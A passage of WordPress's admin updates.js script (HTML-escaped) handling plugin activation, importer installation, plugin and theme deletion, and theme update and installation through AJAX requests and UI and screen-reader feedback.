		return wp.updates.ajax( &#039;activate-plugin&#039;, args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin activation.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the activated plugin.
	 * @param {string} response.pluginName  Name of the activated plugin.
	 * @param {string} response.plugin      The plugin file, relative to the plugins directory.
	 */
	wp.updates.activatePluginSuccess = function( response ) {
		var $message = $( &#039;.plugin-card-&#039; + response.slug + &#039;, #plugin-information-footer&#039; ).find( &#039;.activating-message&#039; ),
			buttonText = _x( &#039;Activated!&#039;, &#039;plugin&#039; ),
			ariaLabel = sprintf(
				/* translators: %s: The plugin name. */
				&#039;%s activated successfully.&#039;,
				response.pluginName
			);

		wp.a11y.speak( __( &#039;Activation completed successfully.&#039; ) );
		$document.trigger( &#039;wp-plugin-activate-success&#039;, response );

		$message
			.removeClass( &#039;activating-message&#039; )
			.addClass( &#039;activated-message button-disabled&#039; )
			.attr( &#039;aria-label&#039;, ariaLabel )
			.text( buttonText );

		if ( &#039;plugin-information-footer&#039; === $message.parent().attr( &#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;activated-plugin&#039;,
					slug: response.slug,
					removeClasses: &#039;activating-message&#039;,
					addClasses: &#039;activated-message button-disabled&#039;,
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}

		setTimeout( function() {
			$message.removeClass( &#039;activated-message&#039; )
			.text( _x( &#039;Active&#039;, &#039;plugin&#039; ) );

			if ( &#039;plugin-information-footer&#039; === $message.parent().attr( &#039;id&#039; ) ) {
				wp.updates.setCardButtonStatus(
					{
						status: &#039;plugin-active&#039;,
						slug: response.slug,
						removeClasses: &#039;activated-message&#039;,
						text: _x( &#039;Active&#039;, &#039;plugin&#039; ),
						ariaLabel: sprintf(
							/* translators: %s: The plugin name. */
							&#039;%s is active.&#039;,
							response.pluginName
						)
					}
				);
			}
		}, 1000 );
	};

	/**
	 * Updates the UI appropriately after a failed plugin activation.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be activated.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be activated.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.activatePluginError = function( response ) {
		var $message = $( &#039;.plugin-card-&#039; + response.slug + &#039;, #plugin-information-footer&#039; ).find( &#039;.activating-message&#039; ),
			buttonText = __( &#039;Activation failed.&#039; ),
			ariaLabel = sprintf(
				/* translators: %s: Plugin name. */
				_x( &#039;%s activation failed&#039;, &#039;plugin&#039; ),
				response.pluginName
			),
			errorMessage;

		if ( ! wp.updates.isValidResponse( response, &#039;activate&#039; ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed activation. */
			__( &#039;Activation failed: %s&#039; ),
			response.errorMessage
		);

		wp.a11y.speak( errorMessage, &#039;assertive&#039; );
		$document.trigger( &#039;wp-plugin-activate-error&#039;, response );

		$message
			.removeClass( &#039;install-now installed activating-message&#039; )
			.addClass( &#039;button-disabled&#039; )
			.attr( &#039;aria-label&#039;, ariaLabel )
			.text( buttonText );

		if ( &#039;plugin-information-footer&#039; === $message.parent().attr( &#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;plugin-activation-failed&#039;,
					slug: response.slug,
					removeClasses: &#039;install-now installed activating-message&#039;,
					addClasses: &#039;button-disabled&#039;,
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}
	};

	/**
	 * Updates the UI appropriately after a successful importer install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the installed plugin.
	 * @param {string} response.pluginName  Name of the installed plugin.
	 * @param {string} response.activateUrl URL to activate the just installed plugin.
	 */
	wp.updates.installImporterSuccess = function( response ) {
		wp.updates.addAdminNotice( {
			id:        &#039;install-success&#039;,
			className: &#039;notice-success is-dismissible&#039;,
			message:   sprintf(
				/* translators: %s: Activation URL. */
				__( &#039;Importer installed successfully. &lt;a href=&quot;%s&quot;&gt;Run importer&lt;/a&gt;&#039; ),
				response.activateUrl + &#039;&amp;from=import&#039;
			)
		} );

		$( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; )
			.removeClass( &#039;install-now updating-message&#039; )
			.addClass( &#039;activate-now&#039; )
			.attr({
				&#039;href&#039;: response.activateUrl + &#039;&amp;from=import&#039;,
				&#039;aria-label&#039;:sprintf(
					/* translators: %s: Importer name. */
					__( &#039;Run %s&#039; ),
					response.pluginName
				)
			})
			.text( __( &#039;Run Importer&#039; ) );

		wp.a11y.speak( __( &#039;Installation completed successfully.&#039; ) );

		$document.trigger( &#039;wp-importer-install-success&#039;, response );
	};

	/**
	 * Updates the UI appropriately after a failed importer install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be installed.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be installed.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.installImporterError = function( response ) {
		var errorMessage = sprintf(
				/* translators: %s: Error string for a failed installation. */
				__( &#039;Installation failed: %s&#039; ),
				response.errorMessage
			),
			$installLink = $( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; ),
			pluginName = $installLink.data( &#039;name&#039; );

		if ( ! wp.updates.isValidResponse( response, &#039;install&#039; ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, &#039;install-plugin&#039; ) ) {
			return;
		}

		wp.updates.addAdminNotice( {
			id:        response.errorCode,
			className: &#039;notice-error is-dismissible&#039;,
			message:   errorMessage
		} );

		$installLink
			.removeClass( &#039;updating-message&#039; )
			.attr(
				&#039;aria-label&#039;,
				sprintf(
					/* translators: %s: Plugin name. */
					_x( &#039;Install %s now&#039;, &#039;plugin&#039; ),
					pluginName
				)
			)
			.text( _x( &#039;Install Now&#039;, &#039;plugin&#039; ) );

		wp.a11y.speak( errorMessage, &#039;assertive&#039; );

		$document.trigger( &#039;wp-importer-install-error&#039;, response );
	};

	/**
	 * Sends an Ajax request to the server to delete a plugin.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}               args         Arguments.
	 * @param {string}               args.plugin  Basename of the plugin to be deleted.
	 * @param {string}               args.slug    Slug of the plugin to be deleted.
	 * @param {deletePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.deletePluginSuccess
	 * @param {deletePluginError=}   args.error   Optional. Error callback. Default: wp.updates.deletePluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.deletePlugin = function( args ) {
		var $link = $( &#039;[data-plugin=&quot;&#039; + args.plugin + &#039;&quot;]&#039; ).find( &#039;.row-actions a.delete&#039; );

		args = _.extend( {
			success: wp.updates.deletePluginSuccess,
			error: wp.updates.deletePluginError
		}, args );

		if ( $link.html() !== __( &#039;Deleting...&#039; ) ) {
			$link
				.data( &#039;originaltext&#039;, $link.html() )
				.text( __( &#039;Deleting...&#039; ) );
		}

		wp.a11y.speak( __( &#039;Deleting...&#039; ) );

		$document.trigger( &#039;wp-plugin-deleting&#039;, args );

		return wp.updates.ajax( &#039;delete-plugin&#039;, args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response            Response from the server.
	 * @param {string} response.slug       Slug of the plugin that was deleted.
	 * @param {string} response.plugin     Base name of the plugin that was deleted.
	 * @param {string} response.pluginName Name of the plugin that was deleted.
	 */
	wp.updates.deletePluginSuccess = function( response ) {

		// Removes the plugin and updates rows.
		$( &#039;[data-plugin=&quot;&#039; + response.plugin + &#039;&quot;]&#039; ).css( { backgroundColor: &#039;#faafaa&#039; } ).fadeOut( 350, function() {
			var $form            = $( &#039;#bulk-action-form&#039; ),
				$views           = $( &#039;.subsubsub&#039; ),
				$pluginRow       = $( this ),
				$currentView     = $views.find( &#039;[aria-current=&quot;page&quot;]&#039; ),
				$itemsCount      = $( &#039;.displaying-num&#039; ),
				columnCount      = $form.find( &#039;thead th:not(.hidden), thead td&#039; ).length,
				pluginDeletedRow = wp.template( &#039;item-deleted-row&#039; ),
				/**
				 * Plugins Base names of plugins in their different states.
				 *
				 * @type {Object}
				 */
				plugins          = settings.plugins,
				remainingCount;

			// Add a success message after deleting a plugin.
			if ( ! $pluginRow.hasClass( &#039;plugin-update-tr&#039; ) ) {
				$pluginRow.after(
					pluginDeletedRow( {
						slug:    response.slug,
						plugin:  response.plugin,
						colspan: columnCount,
						name:    response.pluginName
					} )
				);
			}

			$pluginRow.remove();

			// Remove plugin from update count.
			if ( -1 !== _.indexOf( plugins.upgrade, response.plugin ) ) {
				plugins.upgrade = _.without( plugins.upgrade, response.plugin );
				wp.updates.decrementCount( &#039;plugin&#039; );
			}

			// Remove from views.
			if ( -1 !== _.indexOf( plugins.inactive, response.plugin ) ) {
				plugins.inactive = _.without( plugins.inactive, response.plugin );
				if ( plugins.inactive.length ) {
					$views.find( &#039;.inactive .count&#039; ).text( &#039;(&#039; + plugins.inactive.length + &#039;)&#039; );
				} else {
					$views.find( &#039;.inactive&#039; ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins.active, response.plugin ) ) {
				plugins.active = _.without( plugins.active, response.plugin );
				if ( plugins.active.length ) {
					$views.find( &#039;.active .count&#039; ).text( &#039;(&#039; + plugins.active.length + &#039;)&#039; );
				} else {
					$views.find( &#039;.active&#039; ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins.recently_activated, response.plugin ) ) {
				plugins.recently_activated = _.without( plugins.recently_activated, response.plugin );
				if ( plugins.recently_activated.length ) {
					$views.find( &#039;.recently_activated .count&#039; ).text( &#039;(&#039; + plugins.recently_activated.length + &#039;)&#039; );
				} else {
					$views.find( &#039;.recently_activated&#039; ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins[&#039;auto-update-enabled&#039;], response.plugin ) ) {
				plugins[&#039;auto-update-enabled&#039;] = _.without( plugins[&#039;auto-update-enabled&#039;], response.plugin );
				if ( plugins[&#039;auto-update-enabled&#039;].length ) {
					$views.find( &#039;.auto-update-enabled .count&#039; ).text( &#039;(&#039; + plugins[&#039;auto-update-enabled&#039;].length + &#039;)&#039; );
				} else {
					$views.find( &#039;.auto-update-enabled&#039; ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins[&#039;auto-update-disabled&#039;], response.plugin ) ) {
				plugins[&#039;auto-update-disabled&#039;] = _.without( plugins[&#039;auto-update-disabled&#039;], response.plugin );
				if ( plugins[&#039;auto-update-disabled&#039;].length ) {
					$views.find( &#039;.auto-update-disabled .count&#039; ).text( &#039;(&#039; + plugins[&#039;auto-update-disabled&#039;].length + &#039;)&#039; );
				} else {
					$views.find( &#039;.auto-update-disabled&#039; ).remove();
				}
			}

			plugins.all = _.without( plugins.all, response.plugin );

			if ( plugins.all.length ) {
				$views.find( &#039;.all .count&#039; ).text( &#039;(&#039; + plugins.all.length + &#039;)&#039; );
			} else {
				$form.find( &#039;.tablenav&#039; ).css( { visibility: &#039;hidden&#039; } );
				$views.find( &#039;.all&#039; ).remove();

				if ( ! $form.find( &#039;tr.no-items&#039; ).length ) {
					$form.find( &#039;#the-list&#039; ).append( &#039;&lt;tr class=&quot;no-items&quot;&gt;&lt;td class=&quot;colspanchange&quot; colspan=&quot;&#039; + columnCount + &#039;&quot;&gt;&#039; + __( &#039;No plugins are currently available.&#039; ) + &#039;&lt;/td&gt;&lt;/tr&gt;&#039; );
				}
			}

			if ( $itemsCount.length &amp;&amp; $currentView.length ) {
				remainingCount = plugins[ $currentView.parent( &#039;li&#039; ).attr(&#039;class&#039;) ].length;
				$itemsCount.text(
					sprintf(
						/* translators: %s: The remaining number of plugins. */
						_nx( &#039;%s item&#039;, &#039;%s items&#039;, remainingCount, &#039;plugin/plugins&#039;  ),
						remainingCount
					)
				);
			}
		} );

		wp.a11y.speak( _x( &#039;Deleted!&#039;, &#039;plugin&#039; ) );

		$document.trigger( &#039;wp-plugin-delete-success&#039;, response );
	};

	/**
	 * Updates the UI appropriately after a failed plugin deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be deleted.
	 * @param {string}  response.plugin       Base name of the plugin to be deleted
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be deleted.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.deletePluginError = function( response ) {
		var $plugin, $pluginUpdateRow,
			pluginUpdateRow  = wp.template( &#039;item-update-row&#039; ),
			noticeContent    = wp.updates.adminNotice( {
				className: &#039;update-message notice-error notice-alt&#039;,
				message:   response.errorMessage
			} );

		if ( response.plugin ) {
			$plugin          = $( &#039;tr.inactive[data-plugin=&quot;&#039; + response.plugin + &#039;&quot;]&#039; );
			$pluginUpdateRow = $plugin.siblings( &#039;[data-plugin=&quot;&#039; + response.plugin + &#039;&quot;]&#039; );
		} else {
			$plugin          = $( &#039;tr.inactive[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; );
			$pluginUpdateRow = $plugin.siblings( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; );
		}

		if ( ! wp.updates.isValidResponse( response, &#039;delete&#039; ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, &#039;delete-plugin&#039; ) ) {
			return;
		}

		// Add a plugin update row if it doesn&#039;t exist yet.
		if ( ! $pluginUpdateRow.length ) {
			$plugin.addClass( &#039;update&#039; ).after(
				pluginUpdateRow( {
					slug:    response.slug,
					plugin:  response.plugin || response.slug,
					colspan: $( &#039;#bulk-action-form&#039; ).find( &#039;thead th:not(.hidden), thead td&#039; ).length,
					content: noticeContent
				} )
			);
		} else {

			// Remove previous error messages, if any.
			$pluginUpdateRow.find( &#039;.notice-error&#039; ).remove();

			$pluginUpdateRow.find( &#039;.plugin-update&#039; ).append( noticeContent );
		}

		$document.trigger( &#039;wp-plugin-delete-error&#039;, response );
	};

	/**
	 * Sends an Ajax request to the server to update a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}              args         Arguments.
	 * @param {string}              args.slug    Theme stylesheet.
	 * @param {updateThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.updateThemeSuccess
	 * @param {updateThemeError=}   args.error   Optional. Error callback. Default: wp.updates.updateThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.updateTheme = function( args ) {
		var $notice;

		args = _.extend( {
			success: wp.updates.updateThemeSuccess,
			error: wp.updates.updateThemeError
		}, args );

		if ( &#039;themes-network&#039; === pagenow ) {
			$notice = $( &#039;[data-slug=&quot;&#039; + args.slug + &#039;&quot;]&#039; ).find( &#039;.update-message&#039; ).removeClass( &#039;notice-error&#039; ).addClass( &#039;updating-message notice-warning&#039; ).find( &#039;p&#039; );

		} else if ( &#039;customize&#039; === pagenow ) {

			// Update the theme details UI.
			$notice = $( &#039;[data-slug=&quot;&#039; + args.slug + &#039;&quot;].notice&#039; ).removeClass( &#039;notice-large&#039; );

			$notice.find( &#039;h3&#039; ).remove();

			// Add the top-level UI, and update both.
			$notice = $notice.add( $( &#039;#customize-control-installed_theme_&#039; + args.slug ).find( &#039;.update-message&#039; ) );
			$notice = $notice.addClass( &#039;updating-message&#039; ).find( &#039;p&#039; );

		} else {
			$notice = $( &#039;#update-theme&#039; ).closest( &#039;.notice&#039; ).removeClass( &#039;notice-large&#039; );

			$notice.find( &#039;h3&#039; ).remove();

			$notice = $notice.add( $( &#039;[data-slug=&quot;&#039; + args.slug + &#039;&quot;]&#039; ).find( &#039;.update-message&#039; ) );
			$notice = $notice.addClass( &#039;updating-message&#039; ).find( &#039;p&#039; );
		}

		if ( $notice.html() !== __( &#039;Updating...&#039; ) ) {
			$notice.data( &#039;originaltext&#039;, $notice.html() );
		}

		wp.a11y.speak( __( &#039;Updating... please wait.&#039; ) );
		$notice.text( __( &#039;Updating...&#039; ) );

		$document.trigger( &#039;wp-theme-updating&#039;, args );

		return wp.updates.ajax( &#039;update-theme&#039;, args );
	};

	/**
	 * Updates the UI appropriately after a successful theme update.
	 *
	 * @since 4.6.0
	 * @since 5.5.0 Auto-update &quot;time to next update&quot; text cleared.
	 *
	 * @param {Object} response
	 * @param {string} response.slug       Slug of the theme to be updated.
	 * @param {Object} response.theme      Updated theme.
	 * @param {string} response.oldVersion Old version of the theme.
	 * @param {string} response.newVersion New version of the theme.
	 */
	wp.updates.updateThemeSuccess = function( response ) {
		var isModalOpen    = $( &#039;body.modal-open&#039; ).length,
			$theme         = $( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; ),
			updatedMessage = {
				className: &#039;updated-message notice-success notice-alt&#039;,
				message:   _x( &#039;Updated!&#039;, &#039;theme&#039; )
			},
			$notice, newText;

		if ( &#039;customize&#039; === pagenow ) {
			$theme = $( &#039;.updating-message&#039; ).siblings( &#039;.theme-name&#039; );

			if ( $theme.length ) {

				// Update the version number in the row.
				newText = $theme.html().replace( response.oldVersion, response.newVersion );
				$theme.html( newText );
			}

			$notice = $( &#039;.theme-info .notice&#039; ).add( wp.customize.control( &#039;installed_theme_&#039; + response.slug ).container.find( &#039;.theme&#039; ).find( &#039;.update-message&#039; ) );
		} else if ( &#039;themes-network&#039; === pagenow ) {
			$notice = $theme.find( &#039;.update-message&#039; );

			// Update the version number in the row.
			newText = $theme.find( &#039;.theme-version-author-uri&#039; ).html().replace( response.oldVersion, response.newVersion );
			$theme.find( &#039;.theme-version-author-uri&#039; ).html( newText );

			// Clear the &quot;time to next auto-update&quot; text.
			$theme.find( &#039;.auto-update-time&#039; ).empty();
		} else {
			$notice = $( &#039;.theme-info .notice&#039; ).add( $theme.find( &#039;.update-message&#039; ) );

			// Focus on Customize button after updating.
			if ( isModalOpen ) {
				$( &#039;.load-customize:visible&#039; ).trigger( &#039;focus&#039; );
				$( &#039;.theme-info .theme-autoupdate&#039; ).find( &#039;.auto-update-time&#039; ).empty();
			} else {
				$theme.find( &#039;.load-customize&#039; ).trigger( &#039;focus&#039; );
			}
		}

		wp.updates.addAdminNotice( _.extend( { selector: $notice }, updatedMessage ) );
		wp.a11y.speak( __( &#039;Update completed successfully.&#039; ) );

		wp.updates.decrementCount( &#039;theme&#039; );

		$document.trigger( &#039;wp-theme-update-success&#039;, response );

		// Show updated message after modal re-rendered.
		if ( isModalOpen &amp;&amp; &#039;customize&#039; !== pagenow ) {
			$( &#039;.theme-info .theme-author&#039; ).after( wp.updates.adminNotice( updatedMessage ) );
		}
	};

	/**
	 * Updates the UI appropriately after a failed theme update.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be updated.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.updateThemeError = function( response ) {
		var $theme       = $( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; ),
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed update. */
				 __( &#039;Update failed: %s&#039; ),
				response.errorMessage
			),
			$notice;

		if ( ! wp.updates.isValidResponse( response, &#039;update&#039; ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, &#039;update-theme&#039; ) ) {
			return;
		}

		if ( &#039;customize&#039; === pagenow ) {
			$theme = wp.customize.control( &#039;installed_theme_&#039; + response.slug ).container.find( &#039;.theme&#039; );
		}

		if ( &#039;themes-network&#039; === pagenow ) {
			$notice = $theme.find( &#039;.update-message &#039; );
		} else {
			$notice = $( &#039;.theme-info .notice&#039; ).add( $theme.find( &#039;.notice&#039; ) );

			$( &#039;body.modal-open&#039; ).length ? $( &#039;.load-customize:visible&#039; ).trigger( &#039;focus&#039; ) : $theme.find( &#039;.load-customize&#039; ).trigger( &#039;focus&#039;);
		}

		wp.updates.addAdminNotice( {
			selector:  $notice,
			className: &#039;update-message notice-error notice-alt is-dismissible&#039;,
			message:   errorMessage
		} );

		wp.a11y.speak( errorMessage );

		$document.trigger( &#039;wp-theme-update-error&#039;, response );
	};

	/**
	 * Sends an Ajax request to the server to install a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}               args
	 * @param {string}               args.slug    Theme stylesheet.
	 * @param {installThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.installThemeSuccess
	 * @param {installThemeError=}   args.error   Optional. Error callback. Default: wp.updates.installThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.installTheme = function( args ) {
		var $message = $( &#039;.theme-install[data-slug=&quot;&#039; + args.slug + &#039;&quot;]&#039; );

		args = _.extend( {
			success: wp.updates.installThemeSuccess,
			error: wp.updates.installThemeError
		}, args );

		$message.addClass( &#039;updating-message&#039; );
		$message.parents( &#039;.theme&#039; ).addClass( &#039;focus&#039; );
		if ( $message.html() !== __( &#039;Installing...&#039; ) ) {
			$message.data( &#039;originaltext&#039;, $message.html() );
		}

		$message
			.attr(
				&#039;aria-label&#039;,
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( &#039;Installing %s...&#039;, &#039;theme&#039; ),
					$message.data( &#039;name&#039; )
				)
			)
			.text( __( &#039;Installing...&#039; ) );

		wp.a11y.speak( __( &#039;Installing... please wait.&#039; ) );

		// Remove previous error messages, if any.
		$( &#039;.install-theme-info, [data-slug=&quot;&#039; + args.slug + &#039;&quot;]&#039; ).removeClass( &#039;theme-install-failed&#039; ).find( &#039;.notice.notice-error&#039; ).remove();

		$document.trigger( &#039;wp-theme-installing&#039;, args );

		return wp.updates.ajax( &#039;install-theme&#039;, args );
	};

	/**
	 * Updates the UI appropriately after a successful theme install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be installed.
	 * @param {string} response.customizeUrl URL to the Customizer for the just installed theme.
	 * @param {string} response.activateUrl  URL to activate the just installed theme.
	 */
	wp.updates.installThemeSuccess = function( response ) {
		var $card = $( &#039;.wp-full-overlay-header, [data-slug=&#039; + response.slug + &#039;]&#039; ),
			$message;

		$document.trigger( &#039;wp-theme-install-success&#039;, response );

		$message = $card.find( &#039;.button-primary&#039; )
			.removeClass( &#039;updating-message&#039; )
			.addClass( &#039;updated-message disabled&#039; )
			.attr(
				&#039;aria-label&#039;,
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( &#039;%s installed!&#039;, &#039;theme&#039; ),
					response.themeName
				)
			)
			.text( _x( &#039;Installed!&#039;, &#039;theme&#039; ) );

		wp.a11y.speak( __( &#039;Installation completed successfully.&#039; ) );

		setTimeout( function() {

			if ( response.activateUrl ) {

				// Transform the &#039;Install&#039; button into an &#039;Activate&#039; button.
				$message
					.attr( &#039;href&#039;, response.activateUrl )
					.removeClass( &#039;theme-install updated-message disabled&#039; )
					.addClass( &#039;activate&#039; );

				if ( &#039;themes-network&#039; === pagenow ) {
					$message
						.attr(
							&#039;aria-label&#039;,
							sprintf(
								/* translators: %s: Theme name. */
								_x( &#039;Network Activate %s&#039;, &#039;theme&#039; ),
								response.themeName
							)
						)
						.text( __( &#039;Network Enable&#039; ) );
				} else {
					$message
						.attr(
							&#039;aria-label&#039;,
							sprintf(
								/* translators: %s: Theme name. */
								_x( &#039;Activate %s&#039;, &#039;theme&#039; ),
								response.themeName
							)
						)
						.text( _x( &#039;Activate&#039;, &#039;theme&#039; ) );
				}
			}

			if ( response.customizeUrl ) {

				// Transform the &#039;Preview&#039; button into a &#039;Live Preview&#039; button.
				$message.siblings( &#039;.preview&#039; ).replaceWith( function () {
					return $( &#039;&lt;a&gt;&#039; )
						.attr( &#039;href&#039;, response.customizeUrl )
						.addClass( &#039;button load-customize&#039; )
						.text( __( &#039;Live Preview&#039; ) );
				} );
			}
		}, 1000 );
	};

	/**
	 * Updates the UI appropriately after a failed theme install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be installed.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.installThemeError = function( response ) {
		var $card, $button,
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed installation. */
				__( &#039;Installation failed: %s&#039; ),
				response.errorMessage
			),
			$message     = wp.updates.adminNotice( {
				className: &#039;update-message notice-error notice-alt&#039;,
				message:   errorMessage
			} );

		if ( ! wp.updates.isValidResponse( response, &#039;install&#039; ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, &#039;install-theme&#039; ) ) {
			return;
		}

		if ( &#039;customize&#039; === pagenow ) {
			if ( $document.find( &#039;body&#039; ).hasClass( &#039;modal-open&#039; ) ) {
				$button = $( &#039;.theme-install[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; );
				$card   = $( &#039;.theme-overlay .theme-info&#039; ).prepend( $message );
			} else {
				$button = $( &#039;.theme-install[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; );
				$card   = $button.closest( &#039;.theme&#039; ).addClass( &#039;theme-install-failed&#039; ).append( $message );
			}
			wp.customize.notifications.remove( &#039;theme_installing&#039; );
		} else {
			if ( $document.find( &#039;body&#039; ).hasClass( &#039;full-overlay-active&#039; ) ) {
				$button = $( &#039;.theme-install[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; );
				$card   = $( &#039;.install-theme-info&#039; ).prepend( $message );
			} else {
				$card   = $( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; ).removeClass( &#039;focus&#039; ).addClass( &#039;theme-install-failed&#039; ).append( $message );
				$button = $card.find( &#039;.theme-install&#039; );
			}
		}

		$button
			.removeClass( &#039;updating-message&#039; )
			.attr(
				&#039;aria-label&#039;,
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( &#039;%s installation failed&#039;, &#039;theme&#039; ),
					$button.data( &#039;name&#039; )
				)
			)
			.text( __( &#039;Installation failed.&#039; ) );

		wp.a11y.speak( errorMessage, &#039;assertive&#039; );

		$document.trigger( &#039;wp-theme-install-error&#039;, response );
	};

	/**
	 * Sends an Ajax request to the server to delete a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}              args
	 * @param {string}              args.slug    Theme stylesheet.
	 * @param {deleteThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.deleteThemeSuccess
	 * @param {deleteThemeError=}   args.error   Optional. Error callback. Default: wp.updates.deleteThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.deleteTheme = function( args ) {
		var $button;

		if ( &#039;themes&#039; === pagenow ) {
			$button = $( &#039;.theme-actions .delete-theme&#039; );
		} else if ( &#039;themes-network&#039; === pagenow ) {
			$button = $( &#039;[data-slug=&quot;&#039; + args.slug + &#039;&quot;]&#039; ).find( &#039;.row-actions a.delete&#039; );
		}

		args = _.extend( {
			success: wp.updates.deleteThemeSuccess,
			error: wp.updates.deleteThemeError
		}, args );

		if ( $button &amp;&amp; $button.html() !== __( &#039;Deleting...&#039; ) ) {
			$button
				.data( &#039;originaltext&#039;, $button.html() )
				.text( __( &#039;Deleting...&#039; ) );
		}

		wp.a11y.speak( __( &#039;Deleting...&#039; ) );

		// Remove previous error messages, if any.
		$( &#039;.theme-info .update-message&#039; ).remove();

		$document.trigger( &#039;wp-theme-deleting&#039;, args );

		return wp.updates.ajax( &#039;delete-theme&#039;, args );
	};

	/**
	 * Updates the UI appropriately after a successful theme deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response      Response from the server.
	 * @param {string} response.slug Slug of the theme that was deleted.
	 */
	wp.updates.deleteThemeSuccess = function( response ) {
		var $themeRows = $( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; );

		if ( &#039;themes-network&#039; === pagenow ) {

			// Removes the theme and updates rows.
			$themeRows.css( { backgroundColor: &#039;#faafaa&#039; } ).fadeOut( 350, function() {
				var $views     = $( &#039;.subsubsub&#039; ),
					$themeRow  = $( this ),
					themes     = settings.themes,
					deletedRow = wp.template( &#039;item-deleted-row&#039; );

				if ( ! $themeRow.hasClass( &#039;plugin-update-tr&#039; ) ) {
					$themeRow.after(
						deletedRow( {
							slug:    response.slug,
							colspan: $( &#039;#bulk-action-form&#039; ).find( &#039;thead th:not(.hidden), thead td&#039; ).length,
							name:    $themeRow.find( &#039;.theme-title strong&#039; ).text()
						} )
					);
				}

				$themeRow.remove();

				// Remove theme from update count.
				if ( -1 !== _.indexOf( themes.upgrade, response.slug ) ) {
					themes.upgrade = _.without( themes.upgrade, response.slug );
					wp.updates.decrementCount( &#039;theme&#039; );
				}

				// Remove from views.
				if ( -1 !== _.indexOf( themes.disabled, response.slug ) ) {
					themes.disabled = _.without( themes.disabled, response.slug );
					if ( themes.disabled.length ) {
						$views.find( &#039;.disabled .count&#039; ).text( &#039;(&#039; + themes.disabled.length + &#039;)&#039; );
					} else {
						$views.find( &#039;.disabled&#039; ).remove();
					}
				}

				if ( -1 !== _.indexOf( themes[&#039;auto-update-enabled&#039;], response.slug ) ) {
					themes[&#039;auto-update-enabled&#039;] = _.without( themes[&#039;auto-update-enabled&#039;], response.slug );
					if ( themes[&#039;auto-update-enabled&#039;].length ) {
						$views.find( &#039;.auto-update-enabled .count&#039; ).text( &#039;(&#039; + themes[&#039;auto-update-enabled&#039;].length + &#039;)&#039; );
					} else {
